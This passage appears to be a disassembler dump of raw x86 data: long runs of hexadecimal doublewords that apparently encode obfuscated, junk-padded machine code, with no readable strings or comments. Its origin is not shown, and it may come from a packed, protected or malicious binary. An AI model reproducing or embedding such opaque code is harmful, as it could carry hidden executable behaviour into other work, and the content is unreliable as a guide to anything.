		dd 687AC351h, 0D49063A4h, 14198D29h, 666005EAh,	840FD38Bh
		dd 0Bh,	6E9h, 33764600h, 61D23177h, 6A00C183h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 15A2C355h, 8EC7D1E4h, 8C0Fh,	0D93B0000h, 126860Fh, 0BD330000h
		dd 5EA0FB9h, 0FD98C66h,	168Dh, 0EE800h,	74A80000h, 0BC2C9971h
		dd 0C0FE784Eh, 0C0F9464Ah, 0F65E5E51h, 840F04C1h, 0CEh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 86C35747h
		dd 0CB2ACB0Eh, 0D1D015B6h, 0FFF3BF0Fh, 0EA2AC595h, 29B58B05h
		dd 5B05EA17h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 16h,	4DC35747h, 0C32BD7B6h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 0B0C35747h,	0F35693Dh, 81h
		dd 8343D00h, 860F0000h,	4Ah, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 76C35747h, 538FD6A1h, 0E9F98DABh
		dd 4Ch,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h
		dd 0DAC35242h, 1619BD29h, 0C08B05EAh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 5C35545h, 73223E50h, 467390D8h
		dd 0F312BE66h, 0D88BC38Bh, 0C7FEB70Fh, 0EA155985h, 0FD9B1B05h
		dd 8D8B607Bh, 5EA0779h,	1E1D8589h, 8B6105EAh, 52006AC0h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 8A0F15F8h, 0Ah, 0CA8B6660h, 0EF18166h, 0BD81619Ah, 5EA169Dh
		dd 7D0h, 3A850Fh, 0BD090000h, 5EA07E9h,	169D85FFh, 6A05EAh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 44324C3h, 0E91488DEh, 8, 3DD78C95h, 0DB9E6EF6h, 169DB5FFh
		dd 0BF6605EAh, 95FF1151h, 5EA1015h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 0B1C35343h,	90FCE0BEh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0D8C35242h, 0DE9F82Fh
		dd 5B000000h, 0F19B81A1h, 0E9E007C0h, 5D8A204Ch, 8840Fh
		dd 0FA8B0000h, 30F9B58Bh, 0B9BF05EAh, 35195DBh,	0EA2CF1BDh
		dd 0E9858905h, 0F05EA15h, 0B58BF8B7h, 5EA0149h,	11E9h
		dd 9DE65400h, 1CADE154h, 174CA6FAh, 0D39DDF87h,	6ABF86h
		dd 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 0EBECFCC3h, 6AF93Dh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 57171CC3h, 0CE9h, 0C151A00h, 0B3075985h
		dd 8A16F884h, 850F60F3h, 4, 616078B7h, 7880Fh, 0BB660000h
		dd 0E4804BA7h, 99D23A9h, 6105EA29h, 4810Fh, 0BE660000h
		dd 0B50B8213h, 5EA17D9h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Dh, 1BC35040h, 97030C6Bh,	496705B5h, 0F759E98Bh
		dd 6AFFFFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 0E469EAC3h, 4FE21CF5h, 0DE916h, 0E4E90000h
		dd 17DA4B75h, 0E900EDF5h, 8B4F7FACh, 8BC18BF8h,	0EA06CDB5h
		dd 4EB05h, 89000000h, 0EA315995h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 0F2F87003h
		dd 0BD8BFD2Dh, 5EA00F9h, 7E9h, 0C88D9000h, 0C39B4B14h
		dd 298D858Dh, 0B50305EAh, 5EA0C6Dh, 0D9BE6690h,	8B66506Ah
		dd 0BD8990F2h, 5EA3171h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 0C7C5DBC3h, 8B09D8E2h
		dd 6A006AF0h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 2386C351h, 0EA326DBDh,	7B858D05h
		dd 6A05EE31h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 0EE46C357h, 0B58BBC9Ch, 5EA025Dh
		dd 6A05C083h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 0F0C1C350h, 0F7E9BB8h,	5350F9BFh
		dd 2404895Fh, 6AF38Bh, 2521B58Bh, 6A05EAh, 23E995FFh, 6A05EAh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0FDB280C3h, 0BF56432Eh, 6FF53CEEh, 0D89D9D8Dh, 6A05EDh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 9DC7B6C3h, 0E781668Bh, 0D3FFCFC7h, 1469B58Bh, 85FF05EAh
		dd 5EA1C49h, 8E6E9h, 0E800h, 815D0000h,	0EE3185EDh, 81FE8B05h
		dd 0EA169DBDh, 7D005h, 61860F00h, 6A000001h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 0E31BC351h, 8E8A3EFh, 45000000h, 21B7AB8Dh, 519BC47Bh
		dd 0EBF8BE66h, 9D8B5E5Eh, 5EA20E1h, 0FF78B66h, 68Fh, 0DD9D0900h
		dd 8105EA0Bh, 100E3h, 0D6806000h, 0E181664Dh, 0B617B4Fh
		dd 80850FDBh, 66000000h, 0BD83FB8Bh, 5EE3012h, 15840F00h
		dd 66000000h, 33C6E8BFh, 0EA23F1BDh, 6BE905h, 9D890000h
		dd 5EA1159h, 301285C7h,	105EEh,	6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0F9448BC3h
		dd 2DBD89E6h, 0E905EA0Ah, 31h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 9DC35545h, 898CE7ABh, 81B58B2Bh
		dd 0C705EA12h, 0EE301285h, 5, 0E19D8D00h, 6A05EA20h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 299FC350h, 0EA3059B5h, 519D8905h, 8105EA2Ch,	0CDBFE7C6h
		dd 0FF238129h, 6AFFFFFEh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 0CDB2C356h,	0FE3207Bh
		dd 688h, 85858900h, 0E905EA1Bh,	0Ch, 231298BDh,	0B2ED3F49h
		dd 0BBECAC68h, 6ADB8C66h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 0B030C350h,	0D7816696h
		dd 85013098h, 5EA1DB9h,	0F04C3F6h, 7984h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
		dd 0F427C9D8h, 95FFFC41h, 5EA2AC5h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 14h, 7C35040h, 50616090h, 58C0Fh
		dd 81BF0000h, 90108E31h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 17h, 0D2C35747h, 8BE5CC2Ah, 0CF8166F8h, 0BFE92D52h
		dd 6A000004h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 0A75BC350h, 0E8AF2057h, 0Ah, 3679F764h
		dd 6608E914h, 0DE92E1Bh, 20000000h, 0F3AE8CB6h,	4DEA2FDAh
		dd 87116172h, 6A00B05Fh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 1B19C350h, 8B6E8FBBh
		dd 0F70E6F0h, 682h, 29958900h, 0E405EA1Ch, 85016071h, 5EA1C85h
		dd 0D8B60F61h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	39C35343h, 0FED82102h, 0C6818C20h, 13FA6E40h, 6BAh
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 92EEE48Ch, 3FACF18h, 0EA2C61B5h,	0E8C38B05h
		dd 0Dh,	3CEA843h, 71A0D7D9h, 6C25C4EDh,	0B58B5E90h, 5EA16B5h
		dd 0E904E8C1h, 0Eh, 76F1193Eh, 0D5691D84h, 8C8F4953h, 0F7660AB1h
		dd 53006AE2h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 0FBF9E3CDh, 0BE62B562h, 3E6FB017h, 6AD82Bh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 0DE964C3h, 14000000h, 559BA5EBh, 0CB896C4Ch,	65BBD94Fh
		dd 12E95093h, 2E000000h, 194C50E3h, 0A5FDF307h,	8DF15EBDh
		dd 45172A9Fh, 6A9369h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 327B87C3h, 0F78FFE8h, 0B5FFF8B7h
		dd 5EA169Dh, 101595FFh,	6A05EAh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 8BFE94C3h, 0EA2A35BDh
		dd 6A00B005h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 8BDDC352h, 0EA0149B5h,	6A70E605h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 3810C356h, 3092F649h, 0BE66FC96h,	71E42AE3h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0F4C35646h
		dd 59D238F3h, 892262F6h, 0EA1429BDh, 0F613C05h,	27183h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 8BAF356Bh, 0EA2549B5h, 0D8B60F05h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 66C35747h, 0BFBA397Ah
		dd 2C00883Eh, 6BAh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 5EC05297h, 69BD899Eh
		dd 8B05EA2Ch, 0AE9C3h, 0E7A20000h, 3D129A1Dh, 31A9D603h
		dd 6A04E8C1h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 68C7C357h, 0A0239B6Bh,	0F766A70Dh
		dd 55BD89E2h, 2B05EA31h, 50006AD8h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 0E00B3284h, 99D0953h
		dd 5E05EA18h, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 0C0776CB2h, 0F28BE04Dh, 0FD82BFCh
		dd 16588h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 9998BA1Eh, 4C1E57B5h
		dd 0FA8BE56Fh, 7B9h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 18B0F9Dh, 0F9000000h
		dd 6A00C183h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 47A5C356h, 47DE7DD4h, 885B58Bh
		dd 0BE6605EAh, 0D93BDC09h, 0E0860Fh, 0E7810000h, 40DC6803h
		dd 6AD98C66h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 0EFECC356h, 68A0F72h, 2B000000h
		dd 0EA2C19B5h, 71BD0905h, 0F605EA09h, 840F04C1h, 96h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 67C35343h, 23A9A814h
		dd 2AC595FFh, 9D8905EAh, 5EA1B35h, 0B1BD8B5Bh, 2B05EA02h
		dd 0AD8D89C3h, 3D05EA20h, 834h,	50860Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 71E0FFC3h, 0EF273A2Dh, 3181BD8Bh, 2BE905EAh,	6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 0B009C352h, 0C5AA3CE9h, 0C08BD5B0h, 25A58529h
		dd 0C38B05EAh, 38BFD88Bh, 0E83A80E6h, 0Bh, 70B07A77h, 80F9C0Fh
		dd 664DAF5Ch, 4581C781h, 8185C75Eh, 7705EA2Ch, 6A77841Dh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 1E43C351h, 60245840h, 9B5231Dh, 8B05EA32h
		dd 51006AC0h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 0DF87174Ch, 0BF86D39Dh, 0B589F85Eh, 5EA1A41h
		dd 169DBD81h, 7D005EAh,	850F0000h, 35h,	0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 18h, 4CC35646h, 0BA17698Fh
		dd 8BF18B66h, 0EA06C9B5h, 9D85FF05h, 8B05EA16h,	0EA30B9BDh
		dd 9DB5FF05h, 8105EA16h, 54E34CEFh, 1595FF40h, 8905EA10h
		dd 0EA079985h, 6A9005h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 9DA6BC3h, 0EA0ED59Dh, 0C3BF6605h
		dd 50006ACDh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 95091832h, 5EA1A65h, 291D8529h, 850105EAh
		dd 5EA29A1h, 1BDDBD2Bh,	0BD8B05EAh, 5EA31B9h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 4FC35545h, 3053C6D7h
		dd 564D4A01h, 8A0F60h, 0E9000000h, 9, 4EDD01ADh, 0A02A9E2Fh
		dd 60D98B4Ah, 895F6161h, 0EA1A89BDh, 7E805h, 7C2A0000h
		dd 0D4C11844h, 5FF88B07h, 0F0EE8166h, 57006A94h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
		dd 0CD7D3D5Ch, 0FDFC786Ch, 0D5BD3188h, 0F505EA25h, 0BE9h
		dd 176B9400h, 5610DEDCh, 93010B99h, 2BF1B58Bh, 0FE8B05EAh
		dd 1E39BD8Bh, 0BD8B05EAh, 5EA0B11h, 0FFF724E9h,	0C68166FFh
		dd 70BF290Bh, 8B490B76h, 52006AC1h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 628B5578h, 5AC534E5h
		dd 13F99589h, 4EB05EAh,	0
		dd 2B79BD31h, 295105EAh, 0EA28ED85h, 8DF85F05h,	0EA298D85h
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 45750647h, 3011B0Fh, 0FA8B63FAh,	25A5BD89h
		dd 669005EAh, 6650F88Bh, 906F2EBEh, 855B58Bh, 6A05EAh
		dd 1E099501h, 6A05EAh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Dh, 0DCC35141h, 5D1D503Ah, 503D2121h, 4858D06h
		dd 6A05EE3Ch, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 2167C356h, 890F60h, 0F000000h
		dd 689h, 91958900h, 6105EA2Ah, 5C083F9h, 0FE890F5h, 10000000h
		dd 1BA56B12h, 382D0F67h, 15D3DFCh, 8B6694EDh, 8B505FF8h
		dd 0B70F90F1h, 6A006AF3h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 6339C353h, 0A287C417h
		dd 0E44BFF71h, 2385BD8Bh, 6A05EAh, 3800F50h, 0F000000h
		dd 0FF5FF6B7h, 0EA23E995h, 9D9D8D05h, 6A05EDD8h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 812DC357h, 0B4DF24F6h, 19958902h, 0FF05EA2Ch, 0F8C0FD3h
		dd 0E9000000h, 0Ah, 901FEAF1h, 0B04BFB90h, 85FF5D3Bh, 5EA1C49h
		dd 3EEE8166h, 86CE961h,	0E80000h, 5D000000h, 3C0EED81h
		dd 858905EEh, 5EA16E9h,	169DBD81h, 7D005EAh, 860F0000h
		dd 18Eh, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 15h,	0D2C35343h, 2DB53306h, 8B05EA01h, 0EA1E719Dh, 55006A05h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 84343E0Ah, 616B3E2Bh, 0E38148h, 6A000001h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 2708C352h, 0A1CF058Dh, 8B4CDCADh, 0EA0EC1B5h, 0FDB0B05h
		dd 0A885h, 0C9B58900h, 8305EA06h, 0EE3A93BDh, 840F0005h
		dd 5Dh,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h
		dd 29C35141h, 58D0E6F1h, 0C9B58914h, 0F05EA19h,	380h, 0F3B70F00h
		dd 92E9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 0DF98E090h, 510BC924h, 9F6F92BEh
		dd 9385C728h, 105EE3Ah,	0E9000000h, 5Bh, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 15h, 0B2C35040h, 19BD8B76h
		dd 8905EA09h, 0EA11E1BDh, 9385C705h, 5EE3Ah, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 2B85C351h, 0EA2555BDh, 0FDB58B05h, 8D05EA0Ch
		dd 0EA1E719Dh, 0FF238105h, 6AFFFFFEh, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 446C355h
		dd 0DE8166F8h, 8C6624DEh, 3DB58BDBh, 0F605EA2Eh, 840F04C3h
		dd 92h,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h
		dd 57C35242h, 60F78052h, 0AE9h,	20D1A700h, 0AE6B6D99h
		dd 8BAE8610h, 0EA08299Dh, 95FF6105h, 5EA2AC5h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0E3C35242h, 0ADD73CA4h
		dd 4F810D02h, 11E950h, 9B700000h, 0F6B8A5B6h, 6F2FC5B3h
		dd 1BD3808Eh, 896CBE85h, 0CE82404h, 8D000000h, 0A7E6CE55h
		dd 600648B8h, 29B8502Fh, 0EA0B5595h, 0B4E95E05h, 89000003h
		dd 0EA0D7DB5h, 6A00B005h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 0E695C353h,	1BD8B70h
		dd 0E405EA0Ch, 0FF88B71h, 13E9D8B6h, 4000000h, 0D0372B4Bh
		dd 0B3176883h, 96F40694h, 82B07Ch, 6BA6974h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 1B6CC357h, 8BD104CCh, 0F19D89C3h,	0C105EA16h
		dd 0B58B04E8h, 5EA02C9h, 8BE2F766h, 0EA1CEDB5h,	6AD82B05h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 4BDFC352h, 8808BF66h, 0E8606050h,	14h, 5A241A04h
		dd 3F5CB8DBh, 0BD3A6386h, 2256FB4Dh, 8F1F35Bh, 61F18B5Fh
		dd 89615A53h, 6A241Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 66B9B7C3h, 0A47EEF81h, 3159B589h
		dd 0B5FF05EAh, 5EA169Dh, 0F7D78166h, 1595FF57h,	6A05EA10h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 0B03BC353h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 83660004h
		dd 1C657526h, 0BD095332h, 5EA0661h, 6A70E6h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0FE8BEAC3h
		dd 10E8h, 0E25D6400h, 0E30BA06h, 45B7FFCDh, 0E6D8B949h
		dd 3D858999h, 5F05EA2Ah, 6A71E4h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 0AC2D3BC3h, 0A88A3DC3h
		dd 870F8ACFh, 0Eh, 9E9h, 193F5500h, 83679FC0h, 613CE631h
		dd 1E1830Fh, 0BF0F0000h, 0D8B60FF9h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 20C35141h, 2AD55634h, 0F7A0ED95h
		dd 9DB58953h, 5E05EA1Dh, 6880Fh, 0B5330000h, 5EA0235h
		dd 6BAh, 0C38BF500h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 22C35343h, 0A3E56BD2h, 0FC46238h, 8Ch
		dd 22BF6600h, 4E8C174h,	28D0Fh,	0F98B0000h, 81E2F766h
		dd 7A50D2DFh, 8BD82B65h, 0EA2A01BDh, 0EE95805h,	0D6000000h
		dd 0BF9962B7h, 5CF5244Bh, 9B47220Ah, 0FD82B0Fh,	13688h
		dd 219D2900h, 0B905EA31h, 7, 1DE5BD89h,	852905EAh, 5EA14A9h
		dd 0FC00C183h, 3CDE8166h, 0FD93B85h, 10E86h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 6F05EDB8h, 0DA490484h, 9A9ABFBDh, 85311A7Ch,	5EA112Dh
		dd 6AD98C66h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 0A8EFC350h, 84F943Ah, 898A871Ch
		dd 0EA2EED85h, 4C1F605h, 9B840Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0E4CBF0C3h
		dd 0E611DE3Fh, 95FF57F0h, 5EA2AC5h, 52006A5Bh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 0BC22C17h
		dd 8D0937D0h, 5EA11A9h,	6AC32Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 958910C3h, 5EA2DF5h
		dd 8343Dh, 1A860F00h, 0F000000h, 20E9F7B7h, 0F000000h
		dd 0C80h, 68E0F00h, 8B000000h, 0EA2EE9B5h, 0FC08B05h, 68Dh
		dd 0F59D8900h, 8B05EA15h, 66D88BC3h, 0E91788BEh, 0Ah, 0F463688Fh
		dd 5DD9D91Dh, 85C76745h, 5EA20E1h, 55A23F95h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 6DC35141h, 30F84E3Ch
		dd 0C19B58Bh, 0C08B05EAh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 62C35242h, 23ADFE0Fh,	8141C2D2h, 0EA169DBDh
		dd 7D005h, 44850F00h, 0E9000000h, 0Fh
		dd 80375BE6h, 195ED522h, 0AECBA2D1h, 0FFA784B0h, 0EA169D85h
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 0CDE301FBh, 92B4BB82h, 14DE81F6h, 0FF741C07h
		dd 0EA169DB5h, 51006A05h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 916E136Bh, 0B745AD00h
		dd 98D0F0Bh, 60000000h,	6DC5BB66h, 61C3BF0Fh, 117DB503h
		dd 95FF05EAh, 5EA1015h,	0C6D9D09h, 6A9005EAh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 8BA3C350h, 0EA1CA5B5h, 0CF816605h, 0FE83D84h, 69000000h
		dd 4D68E934h, 66C229F8h, 8878A87Dh, 66F8827Eh, 6A5FFB8Bh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 8B6FC352h, 0EA2491BDh, 0F7BF0F05h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 87C35747h, 6840Fh
		dd 95890000h, 5EA32F5h,	6AFBBF0Fh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 440EC350h
		dd 0E3EA4DD2h, 2D619D31h, 0B53305EAh, 5EA2A91h,	75B50Bh
		dd 0FFC05EAh, 8Fh, 0FABF0F00h, 0BE9h, 0F3F44900h, 0F659D238h
		dd 9B6F2262h, 10DB58Bh,	6A05EAh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 0DB3453C3h, 0B36630C2h
		dd 10E96735h, 0B7000000h, 0D77DCF91h, 0FE9F4124h, 0E847E9BDh
		dd 0E9E402BAh, 0FFFFF7C6h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 0CAC35747h, 4CCAA85Fh, 0BD8B517Bh, 5EA17F1h
		dd 2F1D8589h, 0F5E05EAh, 6A60FBBFh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 3D11C357h
		dd 0F6053C0h, 48Ch, 23B96600h, 0D8BF0F2Eh, 818D8961h, 0B905EA29h
		dd 0FFFFFFFEh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	61C35040h, 63D40DA7h, 8D21FDB0h, 5EA0715h, 8D21DE8Ah
		dd 5EA14D5h, 7158D8Bh
		db 0EAh, 5
word_584F4E	dw 160h			; DATA XREF: ___:0043683Co
		dd 0EA31119Dh, 82E68105h, 613FE3DDh, 0F01E183h,	185h, 8D8BF800h
		dd 5EA14D5h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	0F8C35242h, 89A88463h, 0EA131D95h, 1E18305h, 6850Fh
		dd 0BD890000h, 5EA0735h, 6A6061h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 83750CC3h, 0E19DB5BFh
		dd 897A0C94h, 0EA20898Dh, 850F6005h, 0Ah, 5E9h,	0ACA8A100h
		dd 0B961812Ch, 0FFFFFFFEh, 8D21F98Ah, 5EA0B45h,	0FF443CBAh
		dd 14E88125h, 211A4A40h, 0EA15598Dh, 57006A05h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 53E3DF2Dh
		dd 458D8BBFh, 6605EA0Bh, 0E183F88Bh, 1850F01h, 0F8000000h
		dd 15598D8Bh, 6A05EAh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 0F57B54C3h, 0F01E183h, 2E85h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 0F501C66h, 587h, 0CE816600h,	665EB787h, 61C112B8h, 51006A60h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 0A3260943h, 31B59523h, 0FEB905EAh, 0E9FFFFFFh, 13h
		dd 2A690892h, 0AD306F31h, 12566BF5h, 75C5B161h,	21276C42h
		dd 0EA2C818Dh, 81858905h, 2105EA29h, 0EA146D8Dh, 50006A05h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 0D24233Fh, 8AE2B9E3h, 8BC3DF80h, 0EA2C818Dh,	2CB86605h
		dd 1E183FFh, 0B850Fh, 0E7800000h, 2800FFEh, 0B6000000h
		dd 6D8D8B44h, 5105EA14h, 68A0Fh, 0B58B0000h, 5EA0A21h
		dd 1E1835Bh, 27850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 4BB3DCC3h, 0AFDDA808h
		dd 0F55D4BEh, 6A606151h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 0B2CCC353h,	0FFFEB989h
		dd 9E9FFFFh, 9C000000h,	615CFA72h, 8B43F9DBh, 20E18D21h
		dd 6A05EAh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 0E2DC9BC3h, 0D387ADBBh, 718D217Bh, 6A05EA1Eh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 117EC351h, 9857AF06h, 6652F3CCh, 5F1AC7B8h
		dd 20E18D8Bh, 665305EAh, 835BFA8Bh, 850F01E1h, 6, 310D9D23h
		dd 8D8B05EAh, 5EA1E71h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 2EC35242h, 74422DC9h,	0FA330B23h, 1E18333h
		dd 5850Fh, 7DBF0000h, 61713C4Bh, 56006A60h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 33A48B17h
		dd 0EA141D85h, 9D85C705h, 0D005EA16h, 6A000007h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 0E3EEC353h, 0A24A5490h, 0E3AACAD6h, 66CAB70Fh, 61F4C6BAh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0F8C35646h
